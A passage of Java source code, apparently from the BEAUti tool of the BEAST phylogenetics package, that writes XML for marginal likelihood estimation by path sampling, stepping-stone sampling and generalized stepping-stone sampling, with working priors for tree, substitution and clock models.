throw new GeneratorException(
"Generalized stepping-stone sampling is not currently\n" +
"compatible with substitution models other than those\n" +
"for nucleotide data. \n\n" +
BeautiFrame.MCMC);
}
}
}
}
public boolean usesInsertionPoint(final InsertionPoint point) {
MarginalLikelihoodEstimationOptions component = (MarginalLikelihoodEstimationOptions) options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
if (!component.performMLE && !component.performMLEGSS) {
return false;
}
switch (point) {
case AFTER_MCMC:
return true;
case IN_FILE_LOG_PARAMETERS:
return options.logCoalescentEventsStatistic;
}
return false;
}
protected void generate(final InsertionPoint point, final Object item, final String prefix, final XMLWriter writer) {
MarginalLikelihoodEstimationOptions component = (MarginalLikelihoodEstimationOptions) options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
/*System.err.println("generate component: " + component);
System.err.println("options.pathSteps: " + component.pathSteps);
System.err.println("options.mleChainLength: " + component.mleChainLength);
System.err.println("options.mleLogEvery: " + component.mleLogEvery);*/
switch (point) {
case AFTER_MCMC:
writeMLE(writer, component);
break;
case IN_FILE_LOG_PARAMETERS:
if (options.logCoalescentEventsStatistic) {
writeCoalescentEventsStatistic(writer);
}
break;
default:
throw new IllegalArgumentException("This insertion point is not implemented for " + this.getClass().getName());
}
}
protected String getCommentLabel() {
return "Marginal Likelihood Estimator";
}
/**
* Write the marginalLikelihoodEstimator, pathSamplingAnalysis and steppingStoneSamplingAnalysis blocks.
*
* @param writer XMLWriter
*/
public void writeMLE(XMLWriter writer, MarginalLikelihoodEstimationOptions options) {
if (options.performMLE) {
writer.writeComment("Define marginal likelihood estimator (PS/SS) settings");
List<Attribute> attributes = new ArrayList<Attribute>();
//attributes.add(new Attribute.Default<String>(XMLParser.ID, "mcmc"));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.CHAIN_LENGTH, options.mleChainLength));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.PATH_STEPS, options.pathSteps));
attributes.add(new Attribute.Default<String>(MarginalLikelihoodEstimator.PATH_SCHEME, options.pathScheme));
if (!options.pathScheme.equals(MarginalLikelihoodEstimator.LINEAR)) {
attributes.add(new Attribute.Default<Double>(MarginalLikelihoodEstimator.ALPHA, options.schemeParameter));
}
if (options.printOperatorAnalysis) {
attributes.add(new Attribute.Default<Boolean>(MarginalLikelihoodEstimator.PRINT_OPERATOR_ANALYSIS, true));
}
writer.writeOpenTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR, attributes);
writer.writeOpenTag("samplers");
writer.writeIDref("mcmc", "mcmc");
writer.writeCloseTag("samplers");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
writer.writeOpenTag(PathLikelihood.SOURCE);
writer.writeIDref(CompoundLikelihoodParser.POSTERIOR, CompoundLikelihoodParser.POSTERIOR);
writer.writeCloseTag(PathLikelihood.SOURCE);
writer.writeOpenTag(PathLikelihood.DESTINATION);
writer.writeIDref(CompoundLikelihoodParser.PRIOR, CompoundLikelihoodParser.PRIOR);
writer.writeCloseTag(PathLikelihood.DESTINATION);
writer.writeCloseTag(PathLikelihood.PATH_LIKELIHOOD);
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "MLELog"));
attributes.add(new Attribute.Default<Integer>("logEvery", options.mleLogEvery));
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
writer.writeOpenTag("log", attributes);
writer.writeIDref("pathLikelihood", "pathLikelihood");
writer.writeCloseTag("log");
writer.writeCloseTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR);
writer.writeComment("Path sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(PathSamplingAnalysis.PATH_SAMPLING_ANALYSIS, attributes);
writer.writeTag("likelihoodColumn", new Attribute.Default<String>("name", "pathLikelihood.delta"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(PathSamplingAnalysis.PATH_SAMPLING_ANALYSIS);
writer.writeComment("Stepping-stone sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(SteppingStoneSamplingAnalysis.STEPPING_STONE_SAMPLING_ANALYSIS, attributes);
writer.writeTag("likelihoodColumn", new Attribute.Default<String>("name", "pathLikelihood.delta"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(SteppingStoneSamplingAnalysis.STEPPING_STONE_SAMPLING_ANALYSIS);
} else if (options.performMLEGSS) {
// TODO: does this need a prefix? I.e., will there ever be more than one of these?
String modelPrefix = "";
//First define necessary components for the tree working prior
if (options.choiceTreeWorkingPrior.equals("Product of exponential distributions")) {
//more general product of exponentials needs to be constructed
if (DEBUG) {
System.err.println("productOfExponentials selected: " + options.choiceTreeWorkingPrior);
}
List<Attribute> attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "exponentials"));
attributes.add(new Attribute.Default<String>("fileName", beautiOptions.logFileName));
attributes.add(new Attribute.Default<String>("burnin", "" + (int)(beautiOptions.chainLength*0.10)));
attributes.add(new Attribute.Default<String>("parameterColumn", "coalescentEventsStatistic"));
attributes.add(new Attribute.Default<String>("dimension", "" + (beautiOptions.taxonList.getTaxonCount()-1)));
writer.writeOpenTag(TreeWorkingPriorParsers.PRODUCT_OF_EXPONENTIALS_POSTERIOR_MEANS_LOESS, attributes);
writer.writeIDref(TreeModel.TREE_MODEL, TreeModel.TREE_MODEL);
writer.writeCloseTag(TreeWorkingPriorParsers.PRODUCT_OF_EXPONENTIALS_POSTERIOR_MEANS_LOESS);
} else if (options.choiceTreeWorkingPrior.equals("Matching coalescent model")) {
//matching coalescent model has to be constructed
//getting the coalescent model
if (DEBUG) {
System.err.println("matching coalescent model selected: " + options.choiceTreeWorkingPrior);
System.err.println(beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior());
}
/*for (PartitionTreePrior prior : options.getPartitionTreePriors()) {
treePriorGenerator.writeTreePriorModel(prior, writer);
writer.writeText("");
}*/
//TODO: extend for more than 1 coalescent model?
TreePriorType nodeHeightPrior = beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior();
if (DEBUG) {
System.err.println("nodeHeightPrior: " + nodeHeightPrior);
}
switch (nodeHeightPrior) {
case CONSTANT:
writer.writeComment("A working prior for the constant population size model.");
writer.writeOpenTag(
ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "constantReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ConstantPopulationModelParser.POPULATION_SIZE);
writeParameter("constantReference.popSize", "constant.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ConstantPopulationModelParser.POPULATION_SIZE);
writer.writeCloseTag(ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case EXPONENTIAL:
writer.writeComment("A working prior for the exponential growth model.");
writer.writeOpenTag(
ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "exponentialReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ExponentialGrowthModelParser.POPULATION_SIZE);
writeParameter("exponentialReference.popSize", "exponential.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ExponentialGrowthModelParser.POPULATION_SIZE);
writer.writeOpenTag(ExponentialGrowthModelParser.GROWTH_RATE);
writeParameter("exponentialReference.growthRate", "exponential.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ExponentialGrowthModelParser.GROWTH_RATE);
writer.writeCloseTag(ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case LOGISTIC:
writer.writeComment("A working prior for the logistic growth model.");
writer.writeOpenTag(
LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "logisticReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(LogisticGrowthModelParser.POPULATION_SIZE);
writeParameter("logisticReference.popSize", "logistic.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.POPULATION_SIZE);
writer.writeOpenTag(LogisticGrowthModelParser.GROWTH_RATE);
writeParameter("logisticReference.growthRate", "logistic.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.GROWTH_RATE);
writer.writeOpenTag(LogisticGrowthModelParser.TIME_50);
writeParameter("logisticReference.t50", "logistic.t50", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.TIME_50);
writer.writeCloseTag(LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case EXPANSION:
writer.writeComment("A working prior for the expansion growth model.");
writer.writeOpenTag(
ExpansionModelParser.EXPANSION_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "expansionReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ExpansionModelParser.POPULATION_SIZE);
writeParameter("expansionReference.popSize", "expansion.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.POPULATION_SIZE);
writer.writeOpenTag(ExpansionModelParser.GROWTH_RATE);
writeParameter("expansionReference.growthRate", "expansion.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.GROWTH_RATE);
writer.writeOpenTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
writeParameter("expansionReference.ancestralProportion", "expansion.ancestralProportion", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
writer.writeCloseTag(ExpansionModelParser.EXPANSION_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ExpansionModelParser.EXPANSION_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
default:
//Do not switch to product of exponentials as the coalescentEventsStatistic has not been logged
//TODO: show menu that explains mismatch between prior and working prior?
//TODO: but show it when the MCM option is wrongfully being selected, don't do anything here
}
} else {
//matching speciation model has to be constructed
//getting the speciation model
if (DEBUG) {
System.err.println("matching speciation model selected: " + options.choiceTreeWorkingPrior);
System.err.println(beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior());
}
TreePriorType nodeHeightPrior = beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior();
switch (nodeHeightPrior) {
case YULE:
writer.writeComment("A working prior for the Yule pure birth model.");
writer.writeOpenTag(
YuleModelParser.YULE_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "yuleReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(YuleModelParser.BIRTH_RATE);
writeParameter("yuleReference.birthRate", "yule.birthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
writer.writeCloseTag(YuleModelParser.BIRTH_RATE);
writer.writeCloseTag(YuleModelParser.YULE_MODEL);
writer.writeComment("A working prior for the speciation process.");
writer.writeOpenTag(
SpeciationLikelihoodParser.SPECIATION_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "speciationReference")
}
);
writer.writeOpenTag(SpeciationLikelihoodParser.MODEL);
writer.writeIDref(YuleModelParser.YULE_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "yuleReference");
writer.writeCloseTag(SpeciationLikelihoodParser.MODEL);
writer.writeOpenTag(SpeciesTreeModelParser.SPECIES_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(SpeciesTreeModelParser.SPECIES_TREE);
writer.writeCloseTag(SpeciationLikelihoodParser.SPECIATION_LIKELIHOOD);
break;
default:
}
}
writer.writeComment("Define marginal likelihood estimator (GSS) settings");
List<Attribute> attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.CHAIN_LENGTH, options.mleChainLength));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.PATH_STEPS, options.pathSteps));
attributes.add(new Attribute.Default<String>(MarginalLikelihoodEstimator.PATH_SCHEME, options.pathScheme));
if (!options.pathScheme.equals(MarginalLikelihoodEstimator.LINEAR)) {
attributes.add(new Attribute.Default<Double>(MarginalLikelihoodEstimator.ALPHA, options.schemeParameter));
}
if (options.printOperatorAnalysis) {
attributes.add(new Attribute.Default<Boolean>(MarginalLikelihoodEstimator.PRINT_OPERATOR_ANALYSIS, true));
}
writer.writeOpenTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR, attributes);
writer.writeOpenTag("samplers");
writer.writeIDref("mcmc", "mcmc");
writer.writeCloseTag("samplers");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
writer.writeOpenTag(PathLikelihood.SOURCE);
writer.writeIDref(CompoundLikelihoodParser.POSTERIOR, CompoundLikelihoodParser.POSTERIOR);
writer.writeCloseTag(PathLikelihood.SOURCE);
writer.writeOpenTag(PathLikelihood.DESTINATION);
writer.writeOpenTag(CompoundLikelihoodParser.WORKING_PRIOR);
//Start with providing working priors for the substitution model(s)
for (PartitionSubstitutionModel model : beautiOptions.getPartitionSubstitutionModels()) {
int codonPartitionCount = model.getCodonPartitionCount();
switch (model.getDataType().getType()) {
case DataType.NUCLEOTIDES:
switch (model.getNucSubstitutionModel()) {
case JC:
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case HKY:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case TN93:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa1"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa1");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa2"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa2");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa1"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa1");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa2"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa2");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case GTR:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
for (String rateName : PartitionSubstitutionModel.GTR_RATE_NAMES) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + rateName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + rateName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
} else {
for (String rateName : PartitionSubstitutionModel.GTR_RATE_NAMES) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + rateName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + rateName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
}
if (model.getFrequencyPolicy() == FrequencyPolicyType.ESTIMATED) {
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel() && model.isUnlinkedFrequencyModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "frequencies"),
new Attribute.Default<Integer>("dimension", 4),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "frequencies");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "frequencies"),
new Attribute.Default<Integer>("dimension", 4),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "frequencies");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
break;//NUCLEOTIDES
case DataType.AMINO_ACIDS:
case DataType.TWO_STATES:
case DataType.COVARION:
case DataType.GENERAL:
case DataType.CONTINUOUS:
case DataType.MICRO_SAT:
default:
throw new IllegalArgumentException("Unknown data type");
}
if (model.isGammaHetero()) {
if (codonPartitionCount > 1 && model.isUnlinkedHeterogeneityModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "alpha"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "alpha");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "alpha"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "alpha");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
if (model.isInvarHetero()) {
if (codonPartitionCount > 1 && model.isUnlinkedHeterogeneityModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "pInv"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "pInv");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "pInv"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "pInv");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
}
//Continue with providing working priors for the clock model(s)
for (PartitionClockModel model : beautiOptions.getPartitionClockModels()) {
switch (model.getClockType()) {
case STRICT_CLOCK:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "clock.rate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "clock.rate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeIDref(StrictClockBranchRatesParser.STRICT_CLOCK_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
case UNCORRELATED:
if (model.isContinuousQuantile()) {
writer.writeIDref(ContinuousBranchRatesParser.CONTINUOUS_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
} else {
writer.writeIDref(DiscretizedBranchRatesParser.DISCRETIZED_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
}
switch (model.getClockDistributionType()) {
case GAMMA:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCGD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCGD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCGD_SHAPE),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCGD_SHAPE);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case LOGNORMAL:
if (!model.getClockRateParameter().isInRealSpace()) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
